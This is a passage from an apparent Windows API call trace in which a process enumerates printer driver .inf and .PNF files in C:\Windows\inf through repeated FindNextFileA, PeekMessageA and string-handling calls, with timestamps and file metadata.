lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.618] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.618] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ead29d9, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ead29d9, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ead29d9, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc007.PNF", cAlternateFileName="")) returned 1 [0130.618] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.618] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc007.inf") returned="prnrc007.inf" [0130.618] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.618] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.619] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1abea3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1abea3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1abea3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x15ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00a.inf", cAlternateFileName="")) returned 1 [0130.619] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.619] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc007.PNF") returned="prnrc007.PNF" [0130.619] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.619] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.619] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915854c8, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x915854c8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x915854c8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x200c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00a.PNF", cAlternateFileName="")) returned 1 [0130.619] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.619] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00a.inf") returned="prnrc00a.inf" [0130.620] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.620] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.620] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1d2004, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1d2004, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1d2004, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3972, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00b.inf", cAlternateFileName="")) returned 1 [0130.620] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.620] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00a.PNF") returned="prnrc00a.PNF" [0130.620] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.620] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.620] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170228a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9170228a, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9170228a, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00b.PNF", cAlternateFileName="")) returned 1 [0130.620] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.621] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00b.inf") returned="prnrc00b.inf" [0130.621] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.621] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.621] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1d2004, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1d2004, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1d2004, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe46, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00c.inf", cAlternateFileName="")) returned 1 [0130.621] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.621] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00b.PNF") returned="prnrc00b.PNF" [0130.621] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.621] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.622] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918f146e, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x918f146e, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x918f146e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1924, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnrc00c.PNF", cAlternateFileName="")) returned 1 [0130.622] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.622] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00c.inf") returned="prnrc00c.inf" [0130.622] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.622] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.622] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1f8164, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1f8164, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1f8164, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8088, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsa002.inf", cAlternateFileName="")) returned 1 [0130.622] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.622] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnrc00c.PNF") returned="prnrc00c.PNF" [0130.622] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.623] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.623] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de2d4e2, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8de2d4e2, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8de2d4e2, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8050, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsa002.PNF", cAlternateFileName="")) returned 1 [0130.623] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.623] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsa002.inf") returned="prnsa002.inf" [0130.623] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.623] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.623] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d21e2c4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d21e2c4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d21e2c4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsh002.inf", cAlternateFileName="")) returned 1 [0130.623] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.624] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsa002.PNF") returned="prnsa002.PNF" [0130.624] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.624] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.624] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecc1bbd, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ecc1bbd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ecc1bbd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5694, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsh002.PNF", cAlternateFileName="")) returned 1 [0130.624] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.624] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsh002.inf") returned="prnsh002.inf" [0130.624] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.624] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.624] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d26a585, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d26a585, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d26a585, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x28a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnso002.inf", cAlternateFileName="")) returned 1 [0130.624] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.625] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsh002.PNF") returned="prnsh002.PNF" [0130.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.625] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f1847c5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f1847c5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f1847c5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnso002.PNF", cAlternateFileName="")) returned 1 [0130.625] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.625] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnso002.inf") returned="prnso002.inf" [0130.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.625] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d26a585, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d26a585, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d26a585, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x9466, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv002.inf", cAlternateFileName="")) returned 1 [0130.626] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.626] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnso002.PNF") returned="prnso002.PNF" [0130.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.626] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb7c3f8, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fb7c3f8, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fb7c3f8, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x7a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv002.PNF", cAlternateFileName="")) returned 1 [0130.626] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.626] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv002.inf") returned="prnsv002.inf" [0130.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.626] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2b6845, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d2b6845, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d2b6845, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv003.inf", cAlternateFileName="")) returned 1 [0130.627] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.627] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv002.PNF") returned="prnsv002.PNF" [0130.627] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.627] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.627] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcf91ba, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fcf91ba, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fcf91ba, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8174, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv003.PNF", cAlternateFileName="")) returned 1 [0130.627] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.628] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv003.inf") returned="prnsv003.inf" [0130.628] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.628] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2dc9a5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d2dc9a5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d2dc9a5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7184, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv004.inf", cAlternateFileName="")) returned 1 [0130.628] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.628] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv003.PNF") returned="prnsv003.PNF" [0130.628] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.628] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe29cbd, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fe29cbd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fe29cbd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x68f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnsv004.PNF", cAlternateFileName="")) returned 1 [0130.629] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.629] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv004.inf") returned="prnsv004.inf" [0130.629] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.629] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.629] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d302b06, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d302b06, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d302b06, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x28c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnts002.inf", cAlternateFileName="")) returned 1 [0130.629] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.629] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnsv004.PNF") returned="prnsv004.PNF" [0130.629] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.630] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c4191, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f7c4191, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f7c4191, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4204, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnts002.PNF", cAlternateFileName="")) returned 1 [0130.630] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.630] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnts002.inf") returned="prnts002.inf" [0130.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.630] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d328c66, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d328c66, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d328c66, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x292e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnts003.inf", cAlternateFileName="")) returned 1 [0130.630] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.630] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnts002.PNF") returned="prnts002.PNF" [0130.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.631] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f98d214, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f98d214, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f98d214, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnts003.PNF", cAlternateFileName="")) returned 1 [0130.631] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.631] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnts003.inf") returned="prnts003.inf" [0130.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.631] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d328c66, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d328c66, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d328c66, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnxx002.inf", cAlternateFileName="")) returned 1 [0130.631] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.631] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnts003.PNF") returned="prnts003.PNF" [0130.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.632] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.632] FindNextFileA (in: hFindFile=0x502618, 